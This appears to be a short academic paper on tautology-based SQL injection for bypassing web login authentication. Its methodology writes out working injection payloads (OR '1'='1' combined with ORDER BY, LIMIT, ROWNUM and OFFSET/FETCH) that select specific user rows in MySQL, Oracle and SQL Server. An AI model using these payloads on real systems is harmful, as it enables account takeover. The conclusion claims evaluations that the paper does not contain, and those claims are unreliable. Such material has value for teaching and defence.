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Abstract— In online era,SQL Injection is the top most  security breaches in web application applications' software they let 

the attackers to gain the unrestricted access to the heart of any web application called backend databases which underlying 

the applications and potentially sensitive information these databases contain. Although researchers and pentsters have 

proposed a variety of methods to address the SQL injection problem current approaches either fail to handle the full scope 

of the problem or have limitations that prohibit their use and adoption. Many researchers and practitioners are familiar with 

only a subset of the wide range of techniques available to attackers who are trying to take advantage of SQL injection 

vulnerabilities SQL Injection is a code injection technique which used to attack data-driven applications in which the 

malicious SQL statements are inserted into an entry field for execution code injection technique. The first public discussions 

of SQL injection started appearing around 1998.It is very common and dangerous vulnerability in web applications. Lot of 

techniques are there to exploit this vulnerability. This paper will focus on Advanced Authentication bypass using Tautology 

based injection (ex : ' OR '1' = '1) etc., with some other manipulations to gain different user accounts access. 
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I. INTRODUCTION 

Now a days the World Wide Web has witness a astounding growth of many online web applications which have been developed 

for achieving the various purposes. Now a days everyone having a touch with computer technology and somehow they 

connected online. To provide this huge number of users immense volumes of data are stored in web application databases in 

various parts of the globe. Infrequently the users have to communicate with the backend databases via the user interfaces to 

deal with the various tasks such as updating data, making queries, extracting data, and so forth. For all these operations design 

user interface plays an essential role and the quality of which has a great impact on the security of the stored data in the database.  

A vulnerable web application design may allow malicious injections on the backend database. This malicious 

injections can cause lots of damages and thefts of trusted users’ sensitive data by unauthorized users. In the worst case the  

attacker may gain full control over the web application and totally destroy the system. This is successfully achieved through 

various techniques of SQL injection attacks on the online Web application database. 

 
Fig. 1: Basic SQL Injection Workflow 

In this paper we are going to represent a tautology based sql injection attack. Basically tautology based attack is an 

advanced sql injection technique. In a tautology based attack the code is injected using the conditional operator "OR "and also 

the query always evaluates to "TRUE ". Tautology based sql injection attacks are usually bypass user authentication and extract 

data by inserting a tautology in the "WHERE " clause of a sql query. Result of the query transform the original condition into 

a tautology that causes all the rows in the database table are open to an unauthorized user.  
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II. BACKGROUND INFORMATION 

Web based attacks can also be characterized based on the goal of the attacker. So, whatever attack type definitions that we 

provide here includes a list of one or more of the attack intents defined in this section.  

A. Identifying injectable parameters:  

The attacker wants to probe a web application to discover which parameters and user-input fields are vulnerable to sqli. 

B.  Performing database finger-printing:  

The attacker wants to discover the type & the version of database that used by the web application. Few databases respond 

differently to different queries and attacks. By knowing the type and version of the database that used in a web application 

allows an attacker to craft database specific attacks.  

C. Determining database schema: 

To correctly extract data from a database the attacker often needs to know database schema information such as table names, 

column names and data types.  

D. Extracting data: 

These attacks employ techniques which will extract data values from the database. Depending on the type of the web application 

this information could be sensitive and highly desirable to the attacker. Attacks with this intent are the most common type of 

SQLIA. Adding or modifying data: The goal of these attacks is to add or change information in a database.  

E. Performing denial of service: 

These attacks are performed to shut down the database of a Web application, thus denying service to other users. Attacks 

involving locking or dropping database tables also fall under this category.  

F. Evading detection: 

This category refers to certain attack techniques that are employed to avoid auditing and detection by system protection 

mechanisms.  

G. Bypassing authentication: 

The goal of these types of attacks is to allow the attacker to bypass database and application authentication mechanisms. 

Bypassing such mechanisms could allow the attacker to assume the rights and privileges associated with another application 

user.  

H. Executing remote commands: 

These types of attacks attempt to execute arbitrary commands on the database. These commands can be stored procedures or 

functions available to database users. Performing privilege escalation: These attacks take advantage of implementation errors 

or logical flaws in the database in order to escalate the privileges of the attacker. As opposed to bypassing authentication attacks, 

these attacks focus on exploiting the database user privileges. 

III. METHODOLOGY 

First, A Tautology is a formula and it is true in every possible interpretation. The general goal of tautology-based injection is 

to inject code in one or more conditional statements so that they always evaluate to true. The most common usage are to bypass 

authentication pages and extract data. In this type of injection an attacker exploits an injectable field that is used in WHERE 

condition of a query. 

Transforming the conditional into a tautology causes all of the rows in the database table targeted by the query to be 

returned. In general, for a tautology-based attack to work an attacker must consider not only the injectable/vulnerable parameters 

but also the coding constructs that evaluate the query results. 

For Example: Bypassing login script. 

Query:  

SELECT name from users where username='$_POST[username]' AND password='$_POST[password]'; 

This query take input from the system user, let assume the user enters: 

Username : a' OR '1' = '1 

Password : a' OR '1' = '1 

Constructed query:  

SELECT name from users where username='a' OR '1' = '1' AND password='a' OR '1' = '1'; 
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Fig. 2: Tautology based injection 

 
Fig. 3: Tautology based injection 

The code injected in the conditional (OR 1=1) transforms the entire WHERE clause into a tautology. The database 

uses the conditional as the basis for evaluating each row and deciding which to return. Because the condition, the query evaluates 

to true for each row and returns all of them. This would cause this user to be authenticated as the user whose data is in the first 

row in the returned result set.  

Above mentioned query technique will return all possible records from database and user will authenticated with first 

record and attacker will gain access to first user data. If the first user is admin user then attacker can take advantage of all 

functionality of that database. If the first user is a normal user and having limited access then the attacker is limited to available 

functionality, attacker cannot enjoy the power of authentication bypass.  

Can we overcome from the described scenario regarding mentioned limited access problem? here is the solution is by 

using ORDER BY clause  

Example:  Authentication bypass of any other user 

Query:  

SELECT name from users where username='$_POST[username]' AND password='$_POST[password]'; 

Now lets assume the user enters: 

Username : a' OR '1' = '1  

Password : a' OR '1' = '1' ORDER BY 1 DESC/ASC--  

Constructed query: SELECT name from users where username='a' OR '1' = '1' AND password='a' OR '1' = '1' ORDER BY 1--

; 

The code injected in the condition (OR 1=1 ORDER BY 1) transforms the entire WHERE clause into a tautology as 

well as ORDER BY will sort the result by using first column. So there is a possibility of first column change. If so the attacker 

will be authenticated as another user. Attacker can gain access the number of users in total of column numbers and ASC or 

DESC combinations. This will work till some extent suppose the users table contains 3 columns, attacker can perform 

(3(Columns) X 2(ASC/DESC)) = 6 possible users. 

 
Fig. 4: Tautology based injection - ORDER BY 



 
Tautology based Advanced SQL Injection Technique A Peril to Web Application 

 (IJIRST/Conf/NCLTNCS/2017/008) 

 

 
35 

Is there any possibility of exploring more users? Yes we can use LIMIT in MySql, ROWNUM in Oracle, OFFSET 

ROWS FETCH NEXT ROWS in MS SQL Server. 

Example: Authentication bypass specify row number  

Query:  

SELECT name from users where username='$_POST[username]' AND password='$_POST[password]'; 

 
Fig. 5: Tautology based injection mysql DB - LIMIT 

MySQL Database 

Let assume user enters: 

Username : a' OR '1' = '1  

Password : a' OR '1' = '1' LIME 0,1--  

Constructed query: SELECT name from users where username='a' OR '1' = '1' AND password='a' OR '1' = '1' LIMIT 0,1--; 

The code injected in the condition (OR 1=1 LIMIT 0,1) transforms the query to select first row from table. LIMIT 

SIZE,OFFSET is the criteria. Attacker can change OFFSET to get that specific record from table. OFFSET 2 means 3rd record 

in table. Likewise we can iterate through all the records from table. This technique will work with MySQL Database. 

Oracle Database  

Let the user enters: 

Username : a' OR '1' = '1  

Password : a' OR '1' = '1' AND ROWNUM = 1--  

Constructed query: SELECT name from users where username='a' OR '1' = '1' AND password='a' OR '1' = '1' AND 

ROWNUM = 1--; 

The above constructed query will select first row from table. As attacker can be able to manipulate ROWNUM and can iterate 

through all records from table. 

MS SQL Server Database  

Let the user enters: 

Username : a' OR '1' = '1  

Password : a' OR '1' = '1' ORDER BY ID OFFSET 1 ROWS FETCH NEXT 1 ROWS ONLY--  

Constructed query: SELECT name from users where username='a' OR '1' = '1' AND password='a' OR '1' = '1' ORDER 

BY ID OFFSET 1 ROWS FETCH NEXT 1 ROWS ONLY--; 

The above constructed query will select first row from table. As attacker can be able to manipulate OFFSET position 

and can iterate through all records from table. This is how attacker can navigate through all records available in authentication 

table. 

IV. CONCLUSION 

In this paper, we have presented a unique and advanced techniques to performing the SQLIAs and taking the access of the 

vulnerable websites. To perform this advanced techniques, we first identified the various types of SQLIAs known to date. Then 

we evaluated the considered techniques in terms of their ability to the detection. We also studied still there are different 

mechanisms through which SQLIAs can be introduced into a vulnerable application and identified which techniques were able 

to handle which mechanisms. 

Our research found several general trends in the results. Many of the techniques have problems handling attacks that 

take advantage of poorly-coded stored procedures and cannot handle attacks that disguise themselves using alternate encodings. 

We also found a general distinction in prevention abilities based on the difference between prevention-focused and general 

detection and prevention techniques.  

Future evaluation work should focus on evaluating the techniques’ precision and effectiveness in practice. Empirical 

evaluations such as those presented in related work would allow for comparing the performance of the different techniques 

when they are subjected to real-world attacks and legitimate inputs. 
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